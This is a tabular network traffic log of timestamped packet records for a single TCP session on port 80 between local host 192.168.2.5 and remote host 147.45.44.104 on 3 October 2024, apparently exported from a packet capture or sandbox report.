Oct 3, 2024 15:07:08.004288912 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.004290104 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004306078 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004311085 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.004321098 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004337072 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004348993 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.004385948 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.004735947 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004750013 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004765034 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004777908 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004789114 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.004793882 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004807949 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004822969 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004828930 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.004837036 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004852057 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004869938 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.004872084 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004889965 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004899025 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.004904985 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004920006 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004933119 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004949093 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004956007 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.004971027 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004986048 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.004987955 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.005000114 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005013943 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005028009 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005042076 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005053997 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.005063057 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005076885 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005091906 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.005101919 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005119085 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005132914 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005141020 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005151033 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.005156994 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005172968 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005186081 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.005220890 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.005784988 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005800009 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005815983 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005830050 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005844116 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005857944 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005867958 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.005871058 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005886078 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005899906 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005907059 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.005923033 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005932093 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.005938053 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.005980015 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.005984068 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006000996 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006015062 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006031990 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006032944 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.006046057 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006055117 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.006061077 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006076097 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006088972 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006095886 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.006103992 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006118059 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006119013 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.006131887 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006146908 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006160975 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006170988 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.006175041 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006187916 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006201029 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006223917 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.006243944 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.006592989 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006608963 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006622076 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006635904 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006647110 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.006649971 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006664991 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006668091 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.006716013 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.006809950 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006824970 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006838083 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006850004 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006861925 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.006872892 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006886959 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006901979 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006911039 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.006916046 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006930113 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006942987 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006952047 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.006957054 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006972075 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.006982088 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.006987095 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007000923 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007002115 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.007016897 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007030964 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007033110 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.007045984 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007055998 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.007061005 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007078886 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.007117987 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.007766962 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007790089 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007802010 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007814884 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007827997 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007842064 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007854939 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007868052 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007877111 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.007883072 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007896900 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007910967 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007925034 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007930994 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.007939100 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007952929 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007962942 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.007968903 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007982969 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.007987022 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.007997990 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008011103 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008013964 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008027077 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008038044 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008045912 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008060932 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008060932 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008075953 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008090973 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008096933 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008104086 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008136988 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008156061 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008339882 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008382082 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008397102 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008410931 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008424044 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008426905 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008439064 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008452892 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008462906 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008491039 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008491993 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008503914 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008518934 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008532047 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008546114 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008554935 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008559942 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008575916 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008588076 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008590937 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008601904 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008615971 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008618116 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008630991 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008646011 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008657932 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008661985 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008677006 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008690119 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008697033 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008704901 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008718014 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008723021 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008733988 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008745909 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008748055 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008763075 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008764982 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008778095 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008793116 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008805990 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008805990 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008822918 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008836031 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008846998 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008852005 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.008866072 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.008903980 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.009219885 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009234905 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009251118 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009264946 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009264946 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.009279013 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009299040 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009308100 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.009314060 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009327888 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009341002 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009354115 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.009366035 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009381056 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.009387970 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009412050 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009424925 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009439945 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009450912 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.009454966 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009469986 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009470940 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.009484053 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009497881 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009511948 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.009511948 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009527922 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009536028 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.009541988 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009557009 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009568930 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009573936 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.009610891 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.009843111 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009857893 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009871960 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009886026 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009900093 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009913921 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009922028 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.009932995 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009947062 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009960890 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009967089 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.009975910 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.009991884 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.009998083 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.010011911 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.010029078 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.010040998 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.010042906 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.010059118 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.010072947 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.010077000 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.010087013 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.010099888 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.010102034 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.010116100 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.010123014 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.010130882 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.010144949 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.010159016 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.010159969 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.010205030 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.010950089 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.010966063 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.010978937 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.010993004 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011032104 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.011073112 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.011092901 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011109114 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011122942 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011137009 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011151075 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011157036 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.011166096 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011179924 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011193037 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011193037 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.011209011 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011223078 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011229992 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.011239052 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011254072 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011260033 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.011269093 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011277914 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.011305094 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.011817932 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011832952 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011847019 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011859894 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011872053 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.011873960 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011888981 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011903048 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011909962 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.011919022 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011930943 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.011938095 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.011986971 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.012038946 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012053967 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012067080 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012080908 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012093067 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012100935 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.012106895 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012120962 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012135029 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012135029 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.012149096 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012165070 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012178898 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012192011 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012198925 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012207031 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012219906 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012233973 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012248993 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012263060 CEST	80	49704	147.45.44.104	192.168.2.5
Oct 3, 2024 15:07:08.012290001 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.012290001 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.012290001 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.012290001 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.012290955 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.012402058 CEST	49704	80	192.168.2.5	147.45.44.104
Oct 3, 2024 15:07:08.012794971 CEST	80	49704	147.45.44.104	192.168.2.5
